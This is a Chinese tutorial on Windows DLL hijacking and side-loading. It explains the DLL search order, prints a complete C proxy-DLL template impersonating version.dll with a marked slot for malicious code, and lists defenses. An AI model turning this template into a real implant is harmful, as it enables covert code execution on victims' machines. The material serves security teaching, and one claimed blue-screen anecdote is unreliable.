44、DLL注入技术(四):DLL劫持、侧加载攻击
说实话,前面几讲我们聊的都是主动注入——你写代码,调用API,把DLL塞进目标进程。但这一讲要聊的东西,思路完全反过来。我们不去“塞”,而是让目标进程自己“请”我们进去。
听起来有点玄乎?其实原理很简单:Windows在加载DLL时,有一套固定的搜索顺序。如果我们能在这条搜索路径上,提前放一个同名但内容不同的DLL,系统就会傻乎乎地把我们的DLL加载进去。这就是DLL劫持,也叫侧加载攻击。
我在做渗透测试时,遇到过好几次这种情况。明明系统补丁都打全了,杀软也开着,但攻击者就是靠一个放在临时目录下的恶意DLL,轻松拿到了系统权限。嗯,这招确实防不胜防。
DLL搜索顺序:劫持的根基
要理解劫持,先得搞清楚Windows加载DLL时到底去哪找。说白了,就是一套优先级规则:
- 程序所在目录——这是最优先的
- 系统目录(C:\Windows\System32)
- 16位系统目录(C:\Windows\System)
- Windows目录(C:\Windows)
- 当前工作目录
- PATH环境变量中的目录
你想想看,如果一个程序在启动时,用相对路径加载一个DLL,而它自己的目录里又没有这个DLL……那系统就会按这个顺序一路找下去。这时候,如果我们能在程序目录里放一个同名DLL,劫持就成功了。
实战:劫持一个系统DLL
我记得有一次,我在分析一个老旧的桌面软件。它每次启动都会加载 version.dll,但用的是相对路径。我一看,这不就是典型的劫持机会吗?
具体怎么做呢?我们写一个假的 version.dll,导出和原版一模一样的函数。然后在程序目录下放这个DLL。程序启动时,系统会优先加载我们的DLL,而不是去System32里找。
下面是一个简单的劫持DLL示例:
// 劫持 version.dll 的示例
#include <windows.h>
// 声明原始DLL的句柄
HMODULE g_hOriginalDll = NULL;
// 导出函数:GetFileVersionInfoA
BOOL WINAPI GetFileVersionInfoA(
LPCSTR lptstrFilename,
DWORD dwHandle,
DWORD dwLen,
LPVOID lpData
) {
// 第一次调用时,加载原始DLL
if (!g_hOriginalDll) {
g_hOriginalDll = LoadLibraryA("C:\\Windows\\System32\\version.dll");
}
// 获取原始函数地址并调用
typedef BOOL (WINAPI *pGetFileVersionInfoA)(
LPCSTR, DWORD, DWORD, LPVOID);
pGetFileVersionInfoA original = (pGetFileVersionInfoA)
GetProcAddress(g_hOriginalDll, "GetFileVersionInfoA");
// 在这里插入恶意代码
MessageBoxA(NULL, "DLL劫持成功!", "警告", MB_OK);
return original(lptstrFilename, dwHandle, dwLen, lpData);
}
// DLL入口点
BOOL APIENTRY DllMain(HMODULE hModule,
DWORD ul_reason_for_call,
LPVOID lpReserved) {
switch (ul_reason_for_call) {
case DLL_PROCESS_ATTACH:
// 劫持初始化代码
DisableThreadLibraryCalls(hModule);
break;
case DLL_THREAD_ATTACH:
case DLL_THREAD_DETACH:
case DLL_PROCESS_DETACH:
break;
}
return TRUE;
}
这段代码的核心思路是:我们导出了和原始DLL完全相同的函数名,但内部先执行恶意代码,再转发到原始DLL。这样程序既不会崩溃,我们的代码也执行了。
侧加载攻击:更隐蔽的变种
侧加载攻击,说白了就是DLL劫持的一个变种。区别在于:劫持通常针对系统DLL,而侧加载针对的是第三方软件的DLL。
举个例子:很多软件会加载自己的插件DLL,比如 plugin.dll。如果这个插件DLL的加载路径不安全,攻击者就可以放一个恶意版本进去。
我曾经分析过一个案例:某款视频播放器会从当前工作目录加载 ffmpeg.dll。攻击者把恶意DLL放在U盘里,用户一打开U盘里的视频文件,播放器就自动加载了恶意DLL。整个过程用户毫无察觉。
如何防御?
作为安全研究员,我们不能光会攻击,还得知道怎么防。下面是我总结的几个防御要点:
| 防御措施 | 说明 | 优先级 |
|---|---|---|
| 使用绝对路径加载DLL | 调用 LoadLibrary 时指定完整路径,不走搜索顺序 | 高 |
| 启用 SafeDllSearchMode | 注册表设置,改变搜索顺序,优先搜索系统目录 | 中 |
| 数字签名验证 | 加载DLL前验证其数字签名是否合法 | 高 |
| 移除当前目录 | 从搜索路径中移除当前工作目录 | 中 |
| 使用 KnownDLLs 机制 | 将常用DLL注册到 KnownDLLs 列表,绕过搜索顺序 | 低 |
知识体系图
下面这张图展示了DLL劫持和侧加载攻击的完整知识结构:
避坑指南
做DLL劫持实验时,有几个坑我踩过,分享给你:
- 导出函数必须完整——少导出一个函数,程序就可能崩溃。我曾经漏了一个导出函数,结果目标程序启动就蓝屏,排查了半天才发现问题。
- 注意DLL重定向——有些程序会启用DLL重定向机制,劫持会失效。遇到这种情况,得换思路。
- 杀软会拦截——现在的杀软对DLL劫持很敏感。我建议在实验环境里测试,别在生产环境乱搞。
- 64位和32位要分清——64位进程只能加载64位DLL,32位同理。混着用会加载失败。
好了,这一讲的内容就到这里。DLL劫持是个老技术,但至今仍然有效。很多老旧软件和系统组件都存在这个问题。作为安全研究员,理解它不仅能帮你做渗透测试,更能帮你写出更安全的代码。
公众号:蓝海资料掘金营,微信deep3321